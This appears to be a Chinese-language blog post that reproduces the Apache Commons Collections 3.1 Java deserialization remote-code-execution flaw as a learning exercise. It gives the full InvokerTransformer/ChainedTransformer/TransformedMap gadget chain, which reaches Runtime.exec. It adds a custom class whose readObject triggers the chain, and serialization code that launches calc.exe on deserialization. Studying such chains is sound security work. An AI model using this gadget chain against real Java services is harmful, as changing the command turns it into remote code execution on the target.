java反序列化命令执行测试实践

java的序列化和反序列化就不解释了。直接测试。

首先测试命令执行原理。

1.创建一个maven项目

2.引入有漏洞版本的依赖

<dependency>
    <groupId>commons-collections</groupId>
    <artifactId>commons-collections</artifactId>
    <version>3.1</version>
</dependency>

3.创建一个测试执行类

Apache Commons Collections中实现了TransformedMap ,该类可以在一个元素被添加/删除/或是被修改时,会调用transform方法自动进行特定的修饰变换。Apache Commons Collections中已经实现了一些常见的Transformer,其中有一个可以通过Java的反射机制来调用任意函数,叫做InvokerTransformer,只需要传入方法名、参数类型和参数,即可调用任意函数。先用ConstantTransformer()获取了Runtime类,接着反射调用getRuntime函数,再调用getRuntime的exec()函数,执行命令""。依次调用关系为: Runtime --> getRuntime --> exec()

构造 ChainedTransformer链,它会按照我们设定的顺序依次调用Runtime, getRuntime,exec函数,进而执行命令。正式开始时,我们先构造一个TransformeMap实例,然后想办法修改它其中的数据,使其自动调用tansform()方法进行特定的变换

测试代码:

public void rceTest(){
        //transformer链
        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",
                        new Class[] {String.class, Class[].class }, new Object[] {
                        "getRuntime", new Class[0] }),
                new InvokerTransformer("invoke",
                        new Class[] {Object.class, Object[].class }, new Object[] {
                        null, new Object[0] }),
                new InvokerTransformer("exec",
                        new Class[] {String.class }, new Object[] {"calc.exe"})};
        //能够执行代码的ChainedTransformer
        Transformer transformedChain = new ChainedTransformer(transformers);
        //创建一个map
        Map innerMap = new HashMap();
        innerMap.put("1", "test");
        Map outerMap = TransformedMap.decorate(innerMap, null, transformedChain);
        Map.Entry onlyElement = (Map.Entry) outerMap.entrySet().iterator().next();
        //setValue()时,会触发ChainedTransformer中的一系列变换函数
        onlyElement.setValue("test2");
    }

  

在main函数中调用该类并执行

 

 

 这里我理解的思路就是 TransformedMap.decorate()方法获得一个TransformedMap的实例,要想获得这个实例,首先需要一个map实例。所以要先定义一个map,TransformedMap这个实例在元素被更改时,会触发ChainedTransformer中预先定义好的操作,定义了什么操作呢?由Transformer[]中通过java反射机制预先定好的命令执行操作。

为了让反序列化过程中,readObject直接触发命令执行,那么如果有一个类,它重写了readObject,那么调用readObject这个函数时就会优先执行这个类中的readObject,然后就那么巧,这个重写的readObject类还就对map中的元素进行了更改,那不就正好能够命令执行了吗。

网上的文章大部分是AnnotationInvocationHandler类

这个类重写了readObject,并且对map进行了元素的更改。但是很奇怪的是,在复现的时候,没有成功执行,有的说是jdk的原因,没有深究了。

那就换一个思路,自己写这样的一个类试试。他要重写readObject并且对map元素进行更改,并且这个map类可控,我们可以把预先精心准备好的map传入进去。

比如:

public class SerObj implements Serializable {
public Map map;

private void readObject(java.io.ObjectInputStream in) throws ClassNotFoundException , IOException {
in.defaultReadObject();
Map.Entry e = (Map.Entry)map.entrySet().iterator().next();
e.setValue("test3");
}
}

  

然后我们创建一个SerObj的实例,将精心设计的map传入后,进行序列化。

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.util.HashMap;
import java.util.Map;

public class TestWriteObject {
    public void testWriteObject() throws IOException {
        //transformer链
        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",
                        new Class[] {String.class, Class[].class }, new Object[] {
                        "getRuntime", new Class[0] }),
                new InvokerTransformer("invoke",
                        new Class[] {Object.class, Object[].class }, new Object[] {
                        null, new Object[0] }),
                new InvokerTransformer("exec",
                        new Class[] {String.class }, new Object[] {"calc.exe"})};
        //能够执行代码的ChainedTransformer
        Transformer transformedChain = new ChainedTransformer(transformers);
        SerObj serObj=new SerObj();
        Map<String,String> beforeMap = new HashMap<String,String>();
        beforeMap.put("1", "test");
        Map afterMap = TransformedMap.decorate(beforeMap, null, transformedChain);
        //将我们精心设计的map传入
        serObj.map=afterMap;
        FileOutputStream fos =new FileOutputStream("aa.ser");
        ObjectOutputStream os=new ObjectOutputStream(fos);
        os.writeObject(serObj);
        os.close();
    }
}

  

然后main中执行反序列化读取,尝试是否可以命令执行

public class TestReadObject {
    public void testReadObject() throws IOException, ClassNotFoundException {
        FileInputStream fis =new FileInputStream("aa.ser");
        ObjectInputStream os =new ObjectInputStream(fis);
        os.readObject();
        os.close();
    }
}

  

 

 参考代码:

https://github.com/testwc/sertest

posted @ 2021-01-18 16:21  妇愁者纞萌  阅读(361)  评论(0编辑  收藏  举报